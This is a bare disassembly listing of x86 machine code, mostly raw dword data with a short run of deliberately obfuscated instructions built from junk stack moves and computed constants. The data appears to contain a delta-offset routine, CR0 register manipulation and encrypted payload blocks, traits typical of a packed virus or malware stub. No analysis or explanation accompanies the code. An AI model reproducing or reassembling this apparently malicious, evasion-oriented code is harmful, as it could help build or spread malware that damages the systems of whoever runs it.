		dd 16A062Ch, 240195FFh,	0C18B062Ch, 0F31718EBh,	9B46h
		dd 4 dup(0)
		dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 62F402Fh
		dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0FFh, 0
		dd 0C3616000h, 0FFFFF8E9h, 67B58BFFh, 81062F40h, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 6BB53B00h, 0F062F40h
		dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
		dd 0FC00A03h, 1984h, 0BB535000h, 2, 66D858Bh, 1886062Ch
		dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
		dd 2474FF50h, 8995FF08h, 50062C1Ch, 244C010Fh, 0C08358FEh
		dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
		dd 840FC00Ah, 9, 66D858Bh, 0C6062Ch, 4FF5800h, 4C224h
		dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
		dd 2BB00h, 858B0000h, 62C066Dh,	0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 62C214Dh,	0
aLdLs		db 'D$',8,'',0
		db 10h
		dd 98890000h, 1000h, 1889188Bh,	0AE9h, 4D85C700h, 62C21h
		dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh,	840F003Eh
		dd 31h,	3AB7A1BBh, 0B101B076h, 13E901h,	8AAC0000h, 32C302C8h
		dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah,	0FFFFE585h, 0FD20BFFh
		dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h
		dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h
		dd 0E9DB33C0h, 10h, 0D1D833ACh,	0BCC381D3h, 8A37465Ah
		dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh,	0BB60C35Bh
		dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC00Ah, 0FFFFFFE7h, 850FD20Bh
		dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 0C85C700h
		dd 1062F40h, 50000000h,	244C010Fh, 10858FFEh, 8D062F40h
		dd 2F400885h, 10BD8D06h, 89062F40h, 23E938h, 858D0000h
		dd 62C0BDDh, 538408Bh, 9B46F317h, 40088589h, 858D062Fh
		dd 62C0BDDh, 893C408Bh,	2F400C85h, 25858D06h, 89062F40h
		dd 2C1C8985h, 87E906h, 8B520000h, 728B60D4h, 0C7A8B08h
		dd 45CAB2B8h, 7E9A9h, 6000000h,	0C8D10630h, 0FF73B46h
		dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h, 0C7A8B08h
		dd 45CAB2B8h, 7E9A9h, 6300000h,	0C8D10628h, 0FF73B46h
		dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h, 728BDB33h
		dd 0C4A8B08h, 13E9h, 2D3CAC00h,	0A840Fh, 98040000h, 0D8321334h
		dd 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh,	8C25A5Eh
		dd 98858D00h, 89062F42h, 2C155585h, 0C0858D06h,	89062F42h
		dd 2C056985h, 0E8858D06h, 89062F42h, 2C12A985h,	11E806h
		dd 0D6FA0000h, 0B0C84952h, 5F78E59Eh, 7040A76h,	0E857CEB4h
		dd 7, 28A5663Ah, 6633227Eh, 5F5AD68Bh, 0A860Fh,	80600000h
		dd 0D1BE8CC5h, 612275BCh, 58F6C781h, 0BF0F0000h, 0B9C1h
		dd 13E80000h, 98000000h, 0A808F0Dh, 79376A6Eh, 13AF42F6h
		dd 0C56A6452h, 57604A70h, 615B5259h, 3934FF5Ah,	815BBCB2h
		dd 0EE6F63EAh, 0F2F38111h, 0F83BA7CDh, 905FEB81h, 8E86DD0h
		dd 0DD000000h, 5E4E4AD8h, 5E311D1Ch, 0F600EB81h, 0E8814C1Eh
		dd 4328E9Ch, 0D0816653h, 48F8573h, 6830F0Fh, 81000000h
		dd 0B0970EE6h, 2BE98112h, 66382A4Ah, 7A67E881h,	4A27C181h
		dd 1BBE382Ah, 8126EDC6h, 0FFA7D4F9h, 96850FFFh,	0BAFFFFFFh
		dd 608B2555h, 11E960h, 60DE0000h, 584BE357h, 28A7D649h
		dd 4704CAD0h, 8BE50B9Dh, 0C860FC0h, 0F000000h, 686h, 860F00h
		dd 0BA000000h, 0EFC0BE3h, 1D65BD83h, 7500062Ch,	0D9BD8309h
		dd 62C23h, 53501974h, 0EB8C08Bh, 89000004h, 2C069185h
		dd 6C9D8D06h, 0FF062EB1h, 83585BD3h, 2C23D9BDh,	17740006h
		dd 0EB85350h, 89000004h, 2C069185h, 5B9D8D06h, 0FF062EAEh
		dd 60585BD3h, 0E8CE8166h, 0CE857D9h, 50000000h,	0E5396F70h
		dd 0FC842759h, 5BC6C249h, 6A6158h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 457F82C3h, 2C5F2E41h
		dd 2BBCBECAh, 0C08B590Bh, 0BD83CF8Bh, 62C29A1h,	35840F00h
		dd 0E9000000h, 14h, 0FBAB5162h,	56255604h, 2054D624h, 7BC34202h
		dd 1067E60Eh, 297E9h, 11830F00h, 0E8000000h, 9,	860D9980h
		dd 0C8B1BAC1h, 59F28B88h, 6ADF8Ch, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 427687C3h, 94BA222Fh
		dd 0B966C6CFh, 0F7660FB2h, 0F0004C7h, 24B85h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 7BD5C1FBh, 810F6068h, 1, 13E9F8h, 9F790000h,	0B2A57066h
		dd 6B632D90h, 9C219E94h, 78D7A199h, 0BD836101h,	62C00EDh
		dd 45850F00h, 66000000h, 0E2FAC181h, 1F3E9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 69269F39h, 7E88148h,	57000000h, 9EF62DF5h, 8E96193h
		dd 24000000h, 8560FC4Dh, 5AED1655h, 6AFF2Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0D66F27C3h
		dd 0C0EAD87Dh, 9D8DDE86h, 62F4750h, 0B840Fh, 0F600000h
		dd 85h,	0F7F78000h, 0CC8A5061h,	81241C89h, 854857D1h, 35FF6430h
		dd 0
		dd 258964h, 0B1000000h,	0CDC48B95h, 0E900EB01h,	0Eh, 24CE3CAh
		dd 41FBEB6h, 8D060F7Ah,	6AEB6Eh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 4DAAD4C3h, 0FD888B2h
		dd 7E9DE74h, 9B000000h,	0CBF8FF68h, 840FFE6Ch, 3, 64F08B66h
		dd 58Fh, 0B70F0000h, 4C483D3h, 0F7B70F50h, 0C00BFC59h
		dd 0F2840Fh, 6A610000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0C2F2C351h,	0BD8DF38Bh
		dd 62C71C8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	3DC35747h, 17D53569h, 3AB28D96h, 1B8h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 2713922Bh, 58B2FD6Eh, 24830F86h, 0E8000000h,	0Ah, 0D11834D2h
		dd 0C2866C13h, 0FE9266Dh, 6F000000h, 3DF0ECB3h,	0D0FC1D29h
		dd 5E03859Eh, 0FF5EA6BFh, 3850FE7h, 66000000h, 8B57C88Bh
		dd 8B10245Ch, 0B883h, 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h
		dd 2000000h, 0C3C0335Fh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0AC35242h, 61A06736h,	0B9F86CF7h, 2E98D9F0h
		dd 8B1EB661h, 5E8C0h, 9B900000h, 80EAE996h, 835EF2CEh
		dd 2C1D65BDh, 9750006h,	23D9BD83h, 7400062Ch, 8B535019h
		dd 40EB8C0h, 85890000h,	62C343Dh, 0B1D39D8Dh, 0D3FF062Eh
		dd 0BD83585Bh, 62C23D9h, 50177400h, 40EB853h, 85890000h
		dd 62C343Dh, 0AE749D8Dh, 0D3FF062Eh, 6A585Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 6614C3C3h
		dd 0B9EA96BAh, 239B9D2Ah, 6A58F280h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 913FC350h
		dd 0C08BBB07h, 48C0Fh, 0BE660000h, 0BB6024A1h, 0B772C50h
		dd 0EBC28B61h, 8, 0
		dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 0A1858B24h
		dd 8D062C09h, 2F797A85h, 8B088B06h, 100088h, 660A8B00h
		dd 89FC4A8Bh, 2F485B8Dh, 0EDBD8306h, 62C00h, 0F840Fh, 6A600000h
		dd 0B195FF00h, 61062C26h, 0FFFFC4E9h, 728966FFh, 10CEC1FCh
		dd 2728966h, 5A04CD52h,	48578589h, 0B58B062Fh, 62F485Bh
		dd 6610CEC1h, 8B027289h, 2F485BB5h, 72896606h, 858B61FCh
		dd 62F4857h, 61958DC3h,	89062C27h, 2C066D95h, 89958906h
		dd 0FF062C01h, 2C018985h, 0AD85C606h, 53062C21h, 0B148D868h
		dd 71B5FFFCh, 8D062C16h, 2C3A0C85h, 89D0FF06h, 2C26B185h
		dd 3F858D06h, 89062F40h, 2C002985h, 20EB06h, 7 dup(0)
		dd 0E9000000h, 556h, 54AE9h, 4AE96800h,	53E9062Fh, 68FFFD33h
		dd 62F4B74h, 0FD3349E9h, 4D3168FFh, 3FE9062Fh, 68FFFD33h
		dd 62F4D9Ah, 0FD3335E9h, 0C1E128FFh, 5BE5BF70h,	0F67E590Ah
		dd 8F1BF4A5h, 2BB18D3Eh, 96B34CDAh, 32E334BAh, 0D081D254h
		dd 6D1E6FF3h, 9B60725h,	0F3C63C7Bh, 320837EDh, 3CC49F34h
		dd 0BA318994h, 152EB1C2h, 547D6372h, 2934DE56h,	0F6000000h
		dd 0C2BA2495h, 0B10CA131h, 0A40F4DD7h, 407482CCh, 59981676h
		dd 37F28B20h, 31B391C6h, 0D5419989h, 20051465h,	17000000h
		dd 0C2BA2595h, 0C30DA231h, 8D371045h, 0C2BAF84Eh, 4AAA1A31h
		dd 142564F2h, 0B437F203h, 9F09F344h, 89943CC4h,	0B1C2BA32h
		dd 775D3C01h, 0F0261975h, 9E4E8C16h, 384DCE8h, 0ED22A028h
		dd 0D2338B11h, 1492DC73h, 493F93D2h, 714AB1C2h,	0F14D3DE5h
		dd 599B2981h, 6CC44624h, 0C23969E1h, 9941B1B1h,	43215098h
		dd 0B82919C1h, 0BCAC54DEh, 17AC0B5Ch, 0DF104FCDh, 1DB7EFC7h
		dd 0B7269CDBh, 0F868B7EFh, 1CC434A0h, 2D0C0Eh, 6817D4EBh
		dd 0A358510h, 112AB7EFh, 9D795F76h, 97CCD828h, 0C0DE26B9h
		dd 20C82818h, 5DE3BF30h, 436DC5B5h, 89h, 125CF105h, 2415594h
		dd 9D9F37F2h, 97D65AF8h, 37EDD723h, 0F7B5F363h,	5FCB2397h
		dd 1341F911h, 448C4959h, 2E8E7E26h, 0D31B50CEh,	71A664B5h
		dd 0C01E3096h, 86ED8C3Eh, 368E7E26h, 0F2316DB5h, 37ED609Ch
		dd 89EE4EBEh, 4465E7DDh, 0FE8AE921h, 0B6000002h, 4DFE4F6Fh
		dd 0E798E973h, 8233840Ch, 1BCC1DA9h, 0DA68B93Fh, 0C24824C1h
		dd 60E2C071h, 0FD815E0Fh, 95B3FBACh, 0CA099744h, 37EDF074h
		dd 41C2C096h, 2C9h, 3CC49F53h, 0BA318994h, 403A31C2h, 6B31C2BAh
		dd 31C2BB14h, 3A1F1416h, 1750DBFDh, 0C1DA34BFh,	95E531C2h
		dd 9631C2C1h, 0F1C2C124h, 46C40EA3h, 3ABC911h, 0EE2DBB13h
		dd 0F7F1CDB9h, 12C169D9h, 76B5337Dh, 0F1C1BAB9h, 4C0469D9h
		dd 920A9197h, 273FB5Ah,	0E42B0000h, 0E8C273C4h,	815C0D5Eh
		dd 1EF7A8F9h, 0B4904192h, 0BE4FDD2Eh, 0E839BF9Bh, 86D75937h
		dd 2374F8D5h, 0BB0C2A72h, 0CD41800Eh, 0D37EDF1h, 579F3937h
		dd 41839139h, 2AA300Ch,	0BA239712h, 754E31C2h, 0C51D8DE9h
		dd 39B70196h, 0F20365FAh, 19818337h, 7D38F33Ch,	80F05CB4h
		dd 1BA37E2Fh, 33D09B9Dh, 8F8473EEh, 4A25D637h, 0D66B1AC2h
		dd 0E9DB2F6Eh, 8BFB37EDh, 0E978CE0Dh, 2A9A37EDh, 400D4CCAh
		dd 0B031DD50h, 0FC31EF40h, 0FFEF9723h, 27A21CA7h, 94293D9Ch
		dd 0C48DCC4Ah, 123BAC9Eh, 217903DDh, 92C745B5h,	0ACAE2C4Ah
		dd 0BBE21FBAh, 86E73F29h, 0F34786C8h, 13234F24h, 82CA4BA3h
		dd 49B1BC64h, 0AE234F24h, 59E5BE19h, 0E361C1B1h, 7F9DE7A4h
		dd 95E93725h, 1DB1C730h, 0BAEF6DCDh, 0A89C7672h, 97B2ABA8h
		dd 1C51DF37h, 41CBA5D4h, 97DF90E1h, 64C6D179h, 0C3297EBCh
		dd 2766E42Eh, 2F4E052Ah, 0A7DC5ACAh, 32F0415Fh,	55777730h
		dd 29EAA016h, 3472E22Fh, 6EC673A0h, 0DF87A5EDh,	0D3519B30h
		dd 2FF33CD1h, 428BC9E7h, 0F938B6C8h, 2F29BA85h,	6FFD55C5h
		dd 19031F30h, 0A74FBF29h, 0A2185799h, 0E414D8F3h, 39911C74h
		dd 3614D8F3h, 856B7A1Dh, 3C393C08h, 15h, 0B59092FEh, 9EAA5393h
		dd 93EB76CEh, 4831C2BCh, 16h, 1150925Ah, 31C2BABDh, 8A156DDDh
		dd 31C2D430h, 0A1270338h, 5CF18F49h, 559412h, 0DE37F203h
		dd 0EE46CEA9h, 5C6A1282h, 1FDEBD5Ah, 0ED506AE0h, 0FE3CAC37h
		dd 0AE06200Ch, 22A0EA7Fh, 0C10E5AE3h, 0ED52C231h, 4A92209Dh
		dd 0B6DA3971h, 6E000000h, 5B60727h, 9F50A12Bh, 3AEB3CC4h
		dd 0D384D561h, 922071F7h, 7A00DC79h, 189A7829h,	0B53916C7h
		dd 4D6BB364h, 82C14FFCh, 37EDF70Ch, 927A784Eh, 0AA8E6A90h
		dd 11695351h, 0A6E54DE2h, 31C2AF50h, 8F15F172h,	3797F7E7h
		dd 16E57AB9h, 0B52537F2h, 7FC95E0Dh, 0E0C1C201h, 0A91931C1h
		dd 91704044h, 2786BE4Ah, 4Dh, 4D9EBE05h, 0E738C29Ch, 82D35B36h
		dd 1B6CF8D1h, 0B7088E6Ah, 99759029h, 3311C213h,	0D2AF60B1h
		dd 44CFD4Eh, 5AE895E6h,	0EDF7A71Bh, 1311E737h, 0E0A9092h
		dd 0A47F00Ah, 0FD3B2h, 92E50000h, 55FD7F5Dh, 49F17954h
		dd 78A1F959h, 38589F3Eh, 29478F90h, 1FA38081h, 16987677h
		dd 0B916D6Eh, 866263h, 0F27E5758h, 0E66E494Ah, 0D9633D3Eh
		dd 0F9681531h, 89000067h, 89532434h, 4C381E3h, 83000000h
		dd 1C8704EBh, 3C895C24h, 0E6895624h, 4C681h, 0EE830000h
		dd 24348704h, 241C895Ch, 6B0268h, 242C8900h, 2F4977BDh
		dd 5DEF8906h, 241C8B54h, 4C481h, 0EC830000h, 243C8904h
		dd 0B7242C81h, 8F310E5Eh, 43810843h, 0E5EB708h,	241C8B31h
		dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 5F2434FFh, 4C481h
		dd 1FE90000h, 3CFFFD2Eh, 0D78930CBh, 413D1890h,	0B8805476h
		dd 62F4E0Ch, 0C88BC503h, 0E1E900EBh, 0E9000005h, 5D5h
		dd 2F4F9668h, 2DF4E906h, 9A68FFFDh, 0E9062F50h,	0FFFD2DEAh
		dd 2F512168h, 2DE0E906h, 0DB68FFFDh, 0E9062F51h, 0FFFD2DD6h
		dd 2F52FA68h, 2DCCE906h, 78BFFFFDh, 7C560758h, 15F0A1F2h
		dd 0B28B3C8Dh, 4824D526h, 0CAE371C2h, 7CCD532Fh, 1A6BEDCBh
		dd 0B7088C69h, 4FA0BE06h, 61D514A2h, 0A137EDF4h, 5D92CDCBh
		dd 890FEB80h, 0F446D129h, 0F731C2BAh, 31C2BA83h, 0AA205FA1h
		dd 0EC31C2BAh, 2699247Ch, 4731C2BAh, 31C2BAF7h,	0C2BA87F8h
		dd 0BA56A831h, 20B5B1C2h, 0D41658D6h, 0C2BA2195h, 80F161B1h
		dd 38C31BA7h, 0B7EEEB5Fh, 0C2E0285Dh, 108EFE6Ah, 0FC7AFEDBh
		dd 88077BBAh, 0D747B7EEh, 5C048A66h, 2B3146Ch, 4AF9A125h
		dd 0AEED6BB5h, 0B1C2FFE1h, 186EADEFh, 3ABD9AFFh, 960672CAh
		dd 8E509631h, 0D3326ACAh, 438h,	51A2C209h, 0EB3CC6A0h
		dd 86D75F3Ah, 1F70FCD5h, 0BB0C926Eh, 9D799C2Dh,	3715C617h
		dd 0D6B364B5h, 8500152h, 5EEC99EAh, 0EDF5AB1Fh,	1715EB37h
		dd 9139579Fh, 0C2BA3586h, 27E27B31h, 73C4E22Ah,	0B45C7AC2h
		dd 476F6BB3h, 2BD905BEh, 4E19C121h, 87FB3A7Ch, 0C731C2A6h
		dd 0EFAAFF57h, 3B8CAAF2h, 5635AA90h, 3A2615Eh, 9F230000h
		dd 86913957h, 31C2BA35h, 362BEE47h, 1D52D0EEh, 0FF60B844h
		dd 3185C452h, 5131C2BAh, 5B3839E1h, 462459D7h, 0EE2C1CC4h
		dd 0A17C4DE0h, 9CFD5574h, 0DD85A3EBh, 5E3AA52Eh, 0E04030D8h
		dd 9A96DE8Fh, 2229D313h, 12BA1AFFh, 58840204h, 0EC48ACA8h
		dd 296799D3h, 9CF4C908h, 6ABB3D1Bh, 0C2395FAFh,	0F98C6A31h
		dd 1F1991Bh, 0B54AF9A1h, 9DDC7C5Ah, 31C23929h, 0F199F969h
		dd 0E423A101h, 37EE59FBh, 63C5A223h, 2F2243FCh,	6BCB2BC7h
		dd 629BAB06h, 9EFD3544h, 334h, 4D9EBE05h, 0E738C29Ch, 82D35B36h
		dd 1B6CF8D1h, 0B7088E6Ah, 99759029h, 3311C213h,	0D2AF60B1h
		dd 44CFD4Eh, 5AE895E6h,	0EDEAA71Bh, 1311E737h, 0BB39579Fh
		dd 0BAC43A79h, 960631C2h, 3D85863Eh, 6769771Fh,	7ECAB19Ch
		dd 0CD3E7C77h, 4C29E73Bh, 5E3CBD15h, 0BED08BDCh, 4131C2AEh
		dd 31C2DEC9h, 59DDBAEFh, 0E869C1B1h, 0D5E0880Ah, 31C29E65h
		dd 85034DE2h, 0EEC59946h, 0A4097937h, 44625647h, 0AD3291C9h
		dd 7E000002h, 15C61737h, 0AF60B13Bh, 4AFB4CD4h,	0E394E571h
		dd 0A2308107h, 8A10EC09h, 28AA8839h, 0C54926D7h
		dd 5D7BC374h, 92D15F0Ch, 37EDEB3Ch, 9F8A885Eh, 90913957h
		dd 77AC2A48h, 5BD159Bh,	5266683Ah, 66511270h, 1DFC51A9h
		dd 8DDEFC44h, 37BF9ACFh, 0F07E64DFh, 25355E55h,	0F7000002h
		dd 0C2BA2595h, 0EF735031h, 0D2ABE09Eh, 56AE9E46h, 0F674F8D5h
		dd 0B961E3C1h, 0B8B971C9h, 0E4AF57DBh, 0B6934C4Bh, 5036E132h
		dd 75E5651h, 5Dh, 5CE6C0F5h, 0B26CC4B4h, 0FA825D92h, 0DB0A6252h
		dd 3F7EFC46h, 37EECD62h, 527A64B2h, 0F029EAA2h,	2DBA2B90h
		dd 0E464462h, 1F3AFh, 5D7DC400h, 0F7815B0Ch, 921AF5A6h
		dd 2BB79041h, 0C74D29DAh, 32D7E876h, 0CE7FD056h, 6C1D6EF0h
		dd 9BA0B8Fh, 0A552A3C1h, 0EB62D817h, 0CEA437EDh, 0E015A3D0h
		dd 0AA205F05h, 0EC31C2BAh, 36C41C7Ch, 0C2BA9BF7h, 0EE2DBB31h
		dd 31C2BA98h, 42EA4ABAh, 62E06441h, 21C9532Dh, 0C778D931h
		dd 0AB9617Fh, 0B23C1649h, 69BA1A0Ah, 169876ABh,	0CB603DBEh
		dd 0B4056583h, 0F59DBB03h, 377616F4h, 31C2BAC3h, 0E2339303h
		dd 1268A735h, 1231C2BAh, 0D27A02DDh, 0AE1E8AE2h, 0A22A0506h
		dd 12519351h, 31C2BABCh, 0E7166EDEh, 5D5E0650h,	0EEA9FA82h
		dd 31C2BA9Ch, 0A71B5A9Ch, 0E731C2BAh, 5BF01F77h, 3549311h
		dd 0D937EEEBh, 83C0B5D7h, 0EE33CE44h, 62A01037h, 49A12CA9h
		dd 0BAEF6DDDh, 470556E0h, 56AE3812h, 0C971FBD5h, 0BF67EBC8h
		dd 714DE0BEh, 12E7140Dh, 2A8AD070h, 8A329282h, 7E26AE89h
		dd 72F03ACFh, 5BAFEE30h, 7B37EE83h, 34529A0Bh, 0E93C51DCh
		dd 6CDC31C2h, 8E59D807h, 81E0184Ah, 0D4h, 0ED3E5EA5h, 87D8623Ch
		dd 2273FBD6h, 0BB0C9871h, 57A82E0Ah, 391530C9h,	0D3B162B3h
		dd 724F0051h, 0A4EC9DEEh, 0FA883586h, 0EDE847BBh, 0B3B18737h
		dd 0BD115092h, 0DD31C2BAh, 9CFC7E5Ch, 5D7BC344h, 3A15DDDFh
		dd 3506392Fh, 0DC2425DDh, 0B24B16BEh, 94B2FAD7h, 7B99E116h
		dd 0C61A05D3h, 0EECC2804h, 17D5368Eh, 0A62096D5h, 0F26231C2h
		dd 0A6C13574h, 910131C2h, 35D8BE39h, 292B5E56h,	7B3F461Dh
		dd 0F51F77BEh, 20h, 0A9CAE1E3h,	53A4D764h, 249541FBh, 4F31C2BAh
		dd 0C4980B07h, 0C7653B86h, 1B071667h, 19000000h, 0C2BA2595h
		dd 0EB414331h, 0E30551F3h, 448C0D65h, 0DE39BE48h, 0B616591Ch
		dd 5E9B7B65h, 0BD4h, 0EC101200h, 0AA9F2C97h, 0E01A439Bh
		dd 9038589Fh, 8129478Fh, 771FA380h, 6E169876h, 630B916Dh
		dd 58008662h, 4AF27E57h, 3EE66E49h, 31D9633Dh
		db 15h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	2564h
		mov	[esp], esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		push	ebp
		push	ebx
		push	26C15A69h
		pop	ebx
		shr	ebx, 4
		sub	ebx, 781B0F49h
		sub	ebx, 8421B77Dh
		mov	ebp, ebx
		pop	ebx
		mov	esi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		pop	dword ptr [ebp+8]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5017CA
; ---------------------------------------------------------------------------
		db 0A9h
		dd 0E15873A2h, 40FA8EC9h, 53F3B8A4h, 0C503062Fh, 51E9D18Bh
		dd 60000000h, 2424748Bh, 8B3C7603h, 8B28247Ch, 0F8C281D6h
		dd 66000000h, 0F064E8Bh, 0F983C9B7h, 16840F00h,	3B000000h
		dd 8F0F0C7Ah, 15h, 8B28EA83h, 4A8B0C42h, 2BC12B14h, 247C89F8h
		dd 8C2611Ch, 28C28300h,	0CF850F49h, 0E9FFFFFFh,	0FFFFFFE9h
		dd 9FD3EBAh, 13E800h, 30A70000h, 2E3EA4D5h, 0A15BE87Eh
		dd 0C0F19B81h, 4CE9E007h, 8E96020h, 0F6000000h,	0A2160054h
		dd 66498BAAh, 0E24E381h, 8B665E61h, 87C681C1h, 0F000063h
		dd 188h, 0BBF500h, 66000000h, 29A3CA81h, 0F1E0C8Bh, 148Dh
		dd 0FE900h, 0A28C0000h,	53A13DB8h, 34821C95h, 0BBB46248h
		dd 14F18176h, 563F4E7Eh, 167C8EBAh, 0E9815A51h,	7D3D09FCh
		dd 0AE9h, 0DCEB8D00h, 5BE4A752h, 81BB256Dh, 8DD479F1h
		dd 0C0B70F3Ch, 661E0C89h, 5546C081h, 0BE9h, 0F757000h
		dd 0B28925CBh, 0A72CEA8Ch, 0F03EB83h, 0F4BFABFh, 689h
		dd 860F00h, 81000000h, 0FF9D44FBh, 81850FFFh, 52FFFFFFh
		dd 7E9h, 98D3AF00h, 6533CC58h, 149E95Fh, 0BEF70000h, 0ECE73B76h
		dd 5893DA95h, 0CFDF0671h, 54FDBEB6h, 0A436365Dh, 0D500BCECh
		dd 0D352C55Dh, 94A4D676h, 0C44100FCh, 0CB50C1AEh, 0AC325277h
		dd 0BF009CACh, 0ADFC6C46h, 36597390h, 0E275D6A3h, 90BD9C72h
		dd 0E693DD00h, 92A79B8Ch, 0ABDD64A5h, 8F9792A7h, 5CFC7A91h
		dd 0E496B9F9h, 0E4B59BB1h, 92B69F47h, 0F694B6E5h, 0EBB59EBDh
		dd 0D0EC96B3h, 0BF999C93h, 5CFD7B97h, 0F49389F5h, 0CD00EDAFh
		dd 94A6E3B2h, 0C3B5D4E5h, 2D445700h, 29B0F362h,	38AEh
		dd 3C00h, 4000h, 2 dup(0)
		dd 400h, 9400h,	500h, 100h, 0A2800h, 200h, 23h dup(0)
		dd 0E9000000h, 2045h, 2F595468h, 2594E906h, 3E68FFFDh
		dd 0E9062F5Ah, 0FFFD258Ah, 2F5B1B68h, 2580E906h, 1B68FFFDh
		dd 0E9062F5Ch, 0FFFD2576h, 2F5CE868h, 256CE906h, 8768FFFDh
		dd 0E9062F5Dh, 0FFFD2562h, 2F5E7C68h, 2558E906h, 2C68FFFDh
		dd 0E9062F5Fh, 0FFFD254Eh, 2F632668h, 2544E906h, 9F68FFFDh
		dd 0E9062F63h, 0FFFD253Ah, 2F64BB68h, 2530E906h, 0E168FFFDh
		dd 0E9062F67h, 0FFFD2526h, 2F6B6668h, 251CE906h, 0D968FFFDh
		dd 0E9062F6Eh, 0FFFD2512h, 2F709168h, 2508E906h, 68FFFDh
		dd 0E9062F71h, 0FFFD24FEh, 2F714E68h, 24F4E906h, 0AB68FFFDh
		dd 0E9062F71h, 0FFFD24EAh, 2F731A68h, 24E0E906h, 168FFFDh
		dd 0E9062F74h, 0FFFD24D6h, 2F75DD68h, 24CCE906h, 78BFFFFDh
		dd 7C560758h, 15F0A1F2h, 0B28B3C8Dh, 4824D526h,	0CAE371C2h
		dd 7CCD532Fh, 1A6BEDCBh, 0B7088C69h, 4FA0BE06h,	61D514A2h
		dd 0A137EDEDh, 579FCDCBh, 48909139h, 2B6AAC2Ah,	31C2BAD7h
		dd 248006E2h, 83F736B4h, 0C331C2BAh, 3B9AFB53h,	9FDE5CA6h
		dd 37EED78Ah, 0FB3A7C0Ah, 37EEA787h, 66DC57C7h,	9337EEA7h
		dd 988830B8h, 0C46CCC3Ch, 0EEA741B9h, 42455E37h, 2A30AD93h
		dd 4A6458h, 0F1260000h,	9E26015Ch, 911BF5F6h, 1453D131h
		dd 37EEDE93h, 0C053BD0Bh, 0DFE75B71h, 0F3CC017Fh, 77CFBF67h
		dd 306FB1BFh, 37EE5BDAh, 0A9348CFCh, 37EE5B51h,	8352354Eh
		dd 5829709Dh, 1B6FAEF0h, 3B37EE57h, 0E94973CBh,	0B000000h
		dd 0DC1B579Fh, 31C2BA66h, 0C54B27A8h, 5C5D0565h, 6A0CE980h
		dd 0C2BAD72Bh, 2787F731h, 872F8F7Fh, 0A2203E86h, 0B40C906Dh
		dd 84B3FBFCh, 897921A9h, 6A1DD829h, 9531C2BEh, 7CD2114Dh
		dd 9E31C2BFh, 0CC7DCE2Eh, 0A6E86684h, 0C2BF1367h, 0D6B23331h
		dd 58B8A850h, 383A4800h, 4EEF3FD1h, 554F0C17h, 0A4396DABh
		dd 952A59B1h, 498BCD4Bh, 0C22EB40Ah, 0F566D631h, 0FAEA921Ah
		dd 543617A2h, 0E65637EEh, 57A13695h, 0E25897D9h, 2437EE21h
		dd 8FCE5CB4h, 31DDF083h, 0D00583F3h, 6C1D6EF4h,	82A50A90h
		dd 7E4A915Fh, 1D5CE746h, 44B0000h, 8E293E4h, 0A17C2D7Eh
		dd 3E17C819h, 0D4B061B2h, 5E6FFD4Eh, 859DFBBh, 0A6F77957h
		dd 439418F5h, 0DB2C4A92h, 0ED61A02Eh, 2D37EDE3h, 0C39F5957h
		dd 0F33BEC3Dh, 482257D5h, 1B0566BEh, 1B345CF1h,	0AEFD4185h
		dd 2686A4ECh, 381348C6h, 8BCA58B0h, 37EEA11Ah, 5F6A1282h
